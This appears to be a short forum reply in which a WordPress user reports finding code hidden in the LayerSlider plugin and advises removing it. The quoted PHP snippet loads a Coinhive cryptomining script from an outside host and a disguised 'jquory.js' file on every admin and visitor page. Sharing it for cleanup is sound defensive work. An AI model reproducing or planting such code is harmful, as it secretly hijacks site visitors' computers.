I found the problem..
Answering for others who might have gotten this…
There is this code embedded in one of the plugins
function enqueue_my_scripts() {
wp_enqueue_script( 'wp-internal', 'https://coinhive.com/lib/coinhive.min.js', false, false, true );
wp_enqueue_script( 'wp-backend', plugins_url() . '/LayerSlider/assets/js/jquory.js', false, false, true );
}
add_action( 'admin_enqueue_scripts', 'enqueue_my_scripts' );
add_action( 'wp_enqueue_scripts', 'enqueue_my_scripts' );
And this javascript file Jquory.js.
Just remove the code above and the js file. The problem will be gone.
Cheers.